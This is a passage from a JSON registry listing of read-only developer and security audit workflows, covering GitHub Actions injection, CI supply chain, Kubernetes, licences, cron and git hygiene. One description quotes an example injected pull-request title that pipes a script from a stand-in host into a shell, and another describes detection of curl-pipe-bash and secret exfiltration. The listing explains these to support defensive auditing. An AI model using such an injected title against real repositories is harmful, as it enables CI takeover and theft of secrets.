keys.","owner":{"kind":"user","slug":"rajdeepkushwaha"},"registry_organization":"rajdeepkushwaha","tags":["agents","handoff","memory","evidence","git"],"primary_domain":"domain-uncategorized","author":"rajdeepkushwaha","version":"0.2.4","published_at":"2026-09-06T03:28:49.58889+00:00","visibility":"public","quality_score":1,"size_bytes":44064,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":4,"names":["judge","record","collect","selfcheck"]},"parameters":[{"name":"root","type":"string","required":false,"default":"demo","description":"Absolute path to the project, or the word demo for the bundled one"},{"name":"claim","type":"string","required":false,"default":"","description":"A claim to record. Empty means read the ledger and change nothing"},{"name":"evidence","type":"string","required":false,"default":"","description":"Comma-separated files the claim rests on. Without these it is NO_FILES_NAMED"},{"name":"verified_by","type":"string","required":false,"default":"","description":"The command that was actually run, recorded verbatim and never re-run"},{"name":"unfinished","type":"string","required":false,"default":"","description":"What is still open, carried into every later read"},{"name":"agent","type":"string","required":false,"default":"unknown","description":"Who is recording this, for example claude or codex"},{"name":"apply","type":"string","required":false,"default":"false","description":"Writing is opt-in. Without apply=true a claim is previewed, not written"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9a987fcd6d2a009598b1b80cf38dc96dc0dfa71ab1f86009e439ea6016d44064","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":2,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/workflow-injection@0.3.4","reference":"lgoyal6/workflow-injection@0.3.4","uri":"https://play.modiqo.ai/lgoyal6/workflow-injection@0.3.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/workflow-injection@0.3.4","name":"workflow-injection","title":"workflow-injection","description":"A GitHub Actions runner substitutes every `${{ ... }}` as TEXT into your script before bash ever sees it. A pull request titled `\"; curl evil.sh | sh; #` becomes a command rather than a string. This finds every attacker-controlled expression interpolated into a `run:` block, or into `actions/github-script`, which is the same eval sink one language over. It grades each by the TRIGGER that reaches it, because the trigger is the whole difference between a nuisance and a repository takeover: under `pull_request_target`, `issue_comment` or `workflow_run` the job holds the base repository's secrets and a writable token, so it is critical; under plain `pull_request` a fork runs with no secrets and a read-only token, so the same expression is medium; and an expression no declared trigger ever populates is reported as unreachable rather than dressed up. Offline, read-only.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","ci-workflows","job-supply-chain-audit","tool-github-actions","effect-read-only","workflow-injection","github-actions","expression-interpolation","attacker-controlled-input","pull-request-target","issue-comment","github-script","run-block","repository-takeover","fork-pull-request","unreachable-expression","audience-maintainers","audience-security-engineers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.4","published_at":"2026-09-06T01:02:43.479181+00:00","visibility":"public","quality_score":1,"size_bytes":33641,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree to search for .github/workflows directories; every workflow found is graded on its own `on:` block, because severity here is decided by the trigger. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root a .github directory may sit, so a folder full of checkouts can be audited repo by repo; a repo checked out directly at root is depth 1","example":"3"},{"name":"top","type":"string","required":false,"default":"12","description":"How many findings each workflow file reports; exact totals are always kept, only the printed list is capped","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:85f5911478e4fc35d77e1180c1a7a4c44727a6745015f5f181450353d60416e8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":10,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/repo-bloat@0.5.3","reference":"lgoyal6/repo-bloat@0.5.3","uri":"https://play.modiqo.ai/lgoyal6/repo-bloat@0.5.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/repo-bloat@0.5.3","name":"repo-bloat","title":"repo-bloat","description":"Finds what makes a git repository permanently expensive to clone. A clone downloads history, not the working tree, so deleting a large file changes nothing about what every future clone pays: the blob stays reachable from an old commit forever. This walks the whole object store with cat-file --batch-check, ranks the biggest blobs by their real on-the-wire size, names the commit and path that introduced each one, and sorts every one of them into current, superseded, or deleted-yet-still-downloaded. Separates bytes reachable from a branch (every clone pays) from bytes only the reflog or a dangling object still holds (local disk only, reclaimed by git gc). Compares pack size against what a checkout actually writes, and lists files still tracked that should have been ignored, including the ones .gitignore already excludes while the index keeps carrying them. Read-only, contacts no remote, needs only git and python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-repo-hygiene","tool-git","effect-read-only","git","clone-size","history","housekeeping","repo-size","clone-time","large-blobs","git-object-store","cat-file-batch-check","deleted-but-still-downloaded","pack-size","git-gc","history-rewrite","tracked-but-ignored","audience-maintainers","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.5.3","published_at":"2026-09-06T01:01:15.537808+00:00","visibility":"public","quality_score":1,"size_bytes":23722,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["weigh","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Path to the git repository to weigh (its initialized submodules are included, because a recursive clone downloads their history too). Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"top","type":"string","required":false,"default":"15","description":"How many of the largest history objects to name per repository","example":"15"},{"name":"min_mb","type":"string","required":false,"default":"1","description":"Size in MB at or above which one object in history counts as heavy","example":"1"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4bf860ecf0b074d8738998087509cfe1da8b572ea92bb6a134ae0e3bf8d23652","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":4,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/overfetch-response@0.3.4","reference":"lgoyal6/overfetch-response@0.3.4","uri":"https://play.modiqo.ai/lgoyal6/overfetch-response@0.3.4","manifest_uri":"https://play.modiqo.ai/lgoyal6/overfetch-response@0.3.4","name":"overfetch-response","title":"overfetch-response","description":"The endpoint returns the whole database row, because that was one line of code, and three fields nobody meant to expose go out with it. This finds which HTTP responses hand a client more of a record than the endpoint needs: a handler returning a whole ORM object with no projection or DTO; a response naming a sensitive-looking field (password_hash, api_key, reset_token, is_admin) while the rest of the body is public-shaped; a SELECT * feeding a response; a spread that widens a body ({...user}), which silently inherits any column a later migration adds; and a serialiser with a denylist rather than an allowlist, which fails open the moment a column appears. Five narrowings are excluded rather than reported, including a FastAPI response_model and a named projection helper. Next.js, Express, Fastify, Hono, Koa, Flask, FastAPI, Starlette and five Go routers. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","security-workflows","job-data-exposure-audit","tool-static-analysis","effect-read-only","overfetching","data-exposure","select-star","whole-orm-object","serializer-allowlist","denylist-fails-open","password-hash-leak","api-key-in-response","dto","field-projection","object-spread","audience-developers","audience-security-engineers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.3.4","published_at":"2026-09-06T01:00:45.729049+00:00","visibility":"public","quality_score":1,"size_bytes":47113,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose HTTP responses should be audited for handing out more of a record than the endpoint needs. Must be ABSOLUTE, because a step runs in rote's own workspace rather than your shell directory, so a relative path would scan the wrong tree and report it clean","example":"/Users/you/project"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for route definitions and serializers","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:290b859db7d15a0867f8339077df3108215a373bce6e882c96492502334cac9e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/kubernetes-guard@0.5.2","reference":"lgoyal6/kubernetes-guard@0.5.2","uri":"https://play.modiqo.ai/lgoyal6/kubernetes-guard@0.5.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/kubernetes-guard@0.5.2","name":"kubernetes-guard","title":"kubernetes-guard","description":"Audits Kubernetes manifests for the security and reliability gaps that only show up in production: containers with no resource limits or requests, missing or incomplete securityContext, privileged: true, added capabilities, hostPath/hostNetwork/hostPID, :latest or untagged images, missing liveness and readiness probes, and secrets passed as plain env values instead of a secretKeyRef. Structure is parsed rather than grepped, which is what makes it usable on real repositories. Every finding names its container, because in a multi-container pod the settings differ per container. Kubernetes' own securityContext inheritance is applied, so runAsNonRoot set on the pod counts for its containers while readOnlyRootFilesystem, which never inherits, does not. Probes are only expected where Kubernetes uses them: long-running workloads and native sidecars, not Jobs or init containers. Read-only, never contacts a cluster, needs no kubeconfig.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","operations-workflows","job-kubernetes-audit","tool-kubernetes","effect-read-only","kubernetes","k8s-manifests","resource-limits","securitycontext","privileged-pod","hostpath","hostnetwork","liveness-probe","readiness-probe","secretkeyref","helm-templates","runasnonroot","audience-sre","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.5.2","published_at":"2026-09-06T01:00:28.977065+00:00","visibility":"public","quality_score":1,"size_bytes":26340,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to search for Kubernetes manifests","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:c0175e305d77a925199a378d63a87d3196cd5c634c72670883d449d92af276b2","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/edgseu/instruction-precedence-map@0.2.0","reference":"edgseu/instruction-precedence-map@0.2.0","uri":"https://play.modiqo.ai/edgseu/instruction-precedence-map@0.2.0","manifest_uri":"https://play.modiqo.ai/edgseu/instruction-precedence-map@0.2.0","name":"instruction-precedence-map","title":"instruction-precedence-map","description":"Resolves every agent instruction file that can affect a task (AGENTS.md, CLAUDE.md, GEMINI.md, .cursorrules, .windsurfrules, .clinerules, Copilot instructions, Cursor rules at any depth, Junie guidelines), applies directory precedence, discloses anything beyond the depth limit, and shows contradictory commands before an agent starts work. Read-only. No credentials. No writes.","owner":{"kind":"user","slug":"edgseu"},"registry_organization":"edgseu","tags":[],"primary_domain":"domain-uncategorized","author":"amanb.singh21","version":"0.2.0","published_at":"2026-09-05T19:23:43.596719+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":6475,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":3,"names":["discover_files","extract_claims","validate_input"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Repository root to map instruction files for"},{"name":"depth","type":"string","required":false,"default":"3","description":"Maximum subdirectory depth to scan"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2259c96eeb8abc54f215d18a5fd4dc0478be8a0b211978dbb0492b7044e9b042","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":4,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sookra/pulled-play-inventory@0.1.5","reference":"sookra/pulled-play-inventory@0.1.5","uri":"https://play.modiqo.ai/sookra/pulled-play-inventory@0.1.5","manifest_uri":"https://play.modiqo.ai/sookra/pulled-play-inventory@0.1.5","name":"pulled-play-inventory","title":"pulled-play-inventory","description":"See what is actually installed in your rote store, and whether the copy on disk is the one you think it is. Pulling a Play is easy to do and easy to forget, and months later nothing tells you which version is still there, when it arrived, or which of those directories were authored here rather than pulled at all. This reads the store and reports every installed package with its version, the date it was pulled, its declared step count and its size on disk, narrowed to a single publisher if you want one. Two independent readers build that table, one from each package's pull record and one from its shape on disk, and every shared case in the self-test runs against both and asserts they agree, because one reader agreeing with itself proves nothing. Both stay under rote's 65536-byte stdout cut, which is silent, because a payload that crosses it does not arrive truncated, it arrives as something the presentation reads as unknown. So rows are dropped from the end and the number left out is stated, and a directory that could not be examined is still counted even when its name is not listed. A directory with no manifest is reported as authored here, never as a package. It reads files only, needs no network and no credentials, and uses the python3 standard library. If the self-test fails it says plainly that what follows is not to be trusted.","owner":{"kind":"user","slug":"sookra"},"registry_organization":"sookra","tags":["domain-rote-plays","job-inventory","audience-play-authors","effect-read-only","play-hygiene"],"primary_domain":"domain-rote-plays","author":"sookra","version":"0.1.5","published_at":"2026-09-05T17:40:02.728261+00:00","visibility":"public","quality_score":1,"size_bytes":44498,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":3,"names":["self_test","package_shape","pull_provenance"]},"parameters":[{"name":"flows_root","type":"string","required":false,"default":"~/.rote/flows","description":"Directory holding the installed packages. Change it to inspect a rote store other than the default one."},{"name":"owner","type":"string","required":false,"default":"","description":"Restrict the inventory to a single publisher namespace, for example modiqo. Empty lists every publisher."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e5fe08e2fb74dd647cffa36cb46e335cefe0b573e052d74d5a9d1331276d504c","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/license-guard@0.9.2","reference":"lgoyal6/license-guard@0.9.2","uri":"https://play.modiqo.ai/lgoyal6/license-guard@0.9.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/license-guard@0.9.2","name":"license-guard","title":"license-guard","description":"Answers the question that matters before you open-source or ship a product: is a reciprocal licence hiding in your dependency tree? Reads installed package manifests offline, classifies every licence by SPDX expression (respecting that OR can be satisfied by its permissive branch while AND cannot), and reports strong copyleft, non-free and unrecognised licences against your own project's licence. No registry calls, no API key, no rate limit, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","compliance-workflows","job-license-audit","tool-spdx","effect-read-only","license-audit","dependency-licenses","copyleft","gpl","agpl","spdx-expression","non-free-license","unknown-license","license-compatibility","before-open-sourcing","no-rate-limit","audience-maintainers","audience-founders","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.9.2","published_at":"2026-09-05T17:12:28.786597+00:00","visibility":"public","quality_score":1,"size_bytes":16002,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Project directory containing node_modules to audit","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"4","description":"How many directory levels below root to search for node_modules","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:040e775fd6e48588fdffc2fea8dd055bc01bd2712ffed085a39a8c6819a1ee77","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/ci-supply-chain@0.9.2","reference":"lgoyal6/ci-supply-chain@0.9.2","uri":"https://play.modiqo.ai/lgoyal6/ci-supply-chain@0.9.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/ci-supply-chain@0.9.2","name":"ci-supply-chain","title":"ci-supply-chain","description":"Audits GitHub Actions workflows for the exposures that hand your repository secrets to someone else: pull_request_target checking out the pull request head, attacker-controlled context interpolated straight into a shell command, actions pinned to a movable branch or tag instead of a commit SHA, remote scripts piped into a shell, and workflows with no permissions block. Two rules deliberately require a combination, because pull_request_target on its own is ordinary and github.sha is not attacker-controlled, and flagging those teaches you to ignore the tool. Read-only, no tokens, no API calls.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-security","engineering-workflows","job-ci-supply-chain-audit","tool-github-actions","effect-read-only","pull-request-target","script-injection","unpinned-actions","commit-sha-pinning","curl-pipe-bash","workflow-permissions","secret-exfiltration","supply-chain","ci-security","github-context","movable-tag","audience-maintainers","audience-oss-contributors","audience-developers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-security","author":"lgoyal6","version":"0.9.2","published_at":"2026-09-05T17:12:15.270546+00:00","visibility":"public","quality_score":1,"size_bytes":17488,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":3,"names":["analyze","discover","selfcheck"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to search for repositories with GitHub Actions workflows","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"5","description":"How many directory levels below root to search","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5134a838abb3db9f326034a5f5abf67e7b9071e9c5017d3303e251cc0103afc8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":12,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/satianurag/cron-autopsy@0.1.1","reference":"satianurag/cron-autopsy@0.1.1","uri":"https://play.modiqo.ai/satianurag/cron-autopsy@0.1.1","manifest_uri":"https://play.modiqo.ai/satianurag/cron-autopsy@0.1.1","name":"cron-autopsy","title":"cron-autopsy","description":"Reads every schedule hiding in your repo and tells you, in plain English, when each one actually fires next -- GitHub Actions, Kubernetes CronJobs, crontab, cron.d, systemd timers, Dependabot. The value is the gap between what a cron line looks like and what it does: `1 1 1 1 1` reads as 'Jan 1st' but fires every Monday in January too, because cron ORs day-of-month with day-of-week. That line ships in homebrew/brew as a template, inert there but copied into every new tap. Also catches `@daily` in Actions (rejected, never runs), Quartz syntax, Feb 30 and other dead schedules, DST gaps that skip a run, two jobs stampeding the same minute, and a cron holding a fullwidth digit or non-breaking space -- invisible on screen, and the job never runs. Day-of-month/day-of-week follows real Vixie semantics, checked against cronie's own source; the croniter differential harness ships in the package. Validated on 18 repos, matching independent grep exactly. Read-only, zero credentials, nothing to install.","owner":{"kind":"user","slug":"satianurag"},"registry_organization":"satianurag","tags":["cron","scheduling","github-actions","kubernetes","systemd","read-only","zero-credentials","deterministic"],"primary_domain":"domain-uncategorized","author":"Satianurag","version":"0.1.1","published_at":"2026-09-05T16:37:24.132379+00:00","visibility":"public","quality_score":1,"size_bytes":88747,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":2,"names":["scan","user_crontab"]},"parameters":[{"name":"repo_path","type":"string","required":false,"default":"","description":"Absolute path to the repository to scan. Required outside demo mode: every step runs inside an isolated Rote workspace, not your terminal's directory, so there is nothing sensible to infer -- pass repo_path=$(pwd) if you are standing in it. Ignored in demo mode.","example":"/Users/you/code/your-repo"},{"name":"tz","type":"string","required":false,"default":"","description":"IANA timezone to show fire times in (e.g. Asia/Kolkata, America/New_York). Empty uses each schedule's own zone: UTC for GitHub Actions because that is the only zone it runs in, a Kubernetes CronJob's own spec.timeZone, and this machine's zone for crontab entries.","example":"Asia/Kolkata"},{"name":"include_user_crontab","type":"boolean","required":false,"default":"false","description":"Also read THIS user's personal crontab via `crontab -l` and autopsy it alongside the repo's. Read-only (never `crontab -e`, never another user's table, no sudo). Off by default because it looks outside the repository you asked about. A user with no crontab is reported as a plain fact, never an error.","example":"true"},{"name":"max_files","type":"integer","required":false,"default":"20000","description":"Walk budget. A scan that hits this cap stops and says so rather than silently truncating.","example":"20000"},{"name":"demo","type":"boolean","required":false,"default":"false","description":"Scan a bundled fixture repository carrying one of every landmine instead of your own, for a zero-setup first look. Never reads your real crontab, even with include_user_crontab=true.","example":"true"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1abbac46ec98cc12135e28a2bb43537dae19357aaba56ed30d1a3977cf1a8886","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/cyh7789/merged-branch-evidence@0.2.1","reference":"cyh7789/merged-branch-evidence@0.2.1","uri":"https://play.modiqo.ai/cyh7789/merged-branch-evidence@0.2.1","manifest_uri":"https://play.modiqo.ai/cyh7789/merged-branch-evidence@0.2.1","name":"merged-branch-evidence","title":"merged-branch-evidence","description":"Decides which local branches are safe to delete, and says why for each one. `git branch --merged` answers a narrower question than the one you are asking: it reports whether the base branch contains the branch tip as an ancestor, which is true after a merge commit or a fast-forward and false after every squash and every rebase. On a repository that squashes, branches whose work shipped weeks ago keep reporting as unmerged, and `git cherry` agrees with it because a squash rewrites the patch ids too. This play gathers four independent sources instead: reachability, the pull request number GitHub appends to a squash commit subject, the pull request state from gh, and whether the branch still holds commits the base does not. It then names a verdict per branch with the evidence behind it. Two failure directions matter and both appear here: a branch that merged invisibly and gets kept forever, and a branch whose pull request merged but which has kept receiving commits since, where deleting on the strength of `merged` drops that work. Without gh a squash cannot be ruled out from git alone, so those branches are reported as undetermined rather than guessed at. Read-only: it never checks out, deletes, or writes anything, and prints the delete command for you to run yourself.","owner":{"kind":"user","slug":"cyh7789"},"registry_organization":"cyh7789","tags":["domain-engineering","job-repository-maintenance","audience-developers","tool-git","tool-github","effect-read-only"],"primary_domain":"domain-engineering","author":"cyh7789","version":"0.2.1","published_at":"2026-09-05T12:21:20.311823+00:00","visibility":"public","quality_score":1,"size_bytes":25295,"license":null,"stats":{"downloads":7,"installs":0},"steps":{"count":6,"names":["verdict","forge_status","list_branches","residual_work","ancestor_merged","squash_footprint"]},"parameters":[{"name":"repo","type":"string","required":true,"description":"Path to the git repository to inspect. Steps run in the play workspace rather than your shell, so pass the path you mean rather than a relative one.","example":"/Users/me/src/my-project"},{"name":"base","type":"string","required":false,"default":"main","description":"The branch work lands on, without the origin/ prefix.","example":"develop"},{"name":"scan_commits","type":"integer","required":false,"default":"600","description":"How far back on the base branch to look for squash commit subjects. A branch whose squash is older than this window falls back to the pull request lookup.","example":"2000"},{"name":"pr_limit","type":"integer","required":false,"default":"1000","description":"How many of the newest pull requests to read. Only the ones whose head branch exists locally are kept, so this bounds the lookup rather than the report. A run that hits the limit says so, because a branch whose pull request is older than the window loses its merge evidence and would otherwise be reported as unmerged.","example":"1000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1b1cfabd786efcf76d0c6ad7baf183ac93a3859c143a2375d107cac72a2adc85","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/charan/blank-page-forensics@0.2.0","reference":"charan/blank-page-forensics@0.2.0","uri":"https://play.modiqo.ai/charan/blank-page-forensics@0.2.0","manifest_uri":"https://play.modiqo.ai/charan/blank-page-forensics@0.2.0","name":"blank-page-forensics","title":"blank-page-forensics","description":"A page can answer 200 and still render blank. This finds the reason. It reads the page once, inventories every file the HTML tells a browser to load - scripts, stylesheets, fonts, media, icons, and the url() references inside inline CSS - then requests each one in parallel and reports the ones a visitor never gets. It separates four failure modes a status-code check cannot: a file that 404s, a file served with a content type the browser will not use, an http:// asset the browser blocks on an https page, and a reference that is a path from the machine that built the site rather than a URL on the server, which returns no status code at all. It also asks the host for a path that cannot exist, because a host answering 200 with its app shell for any path is the reason a mistyped bundle path looks perfectly healthy; 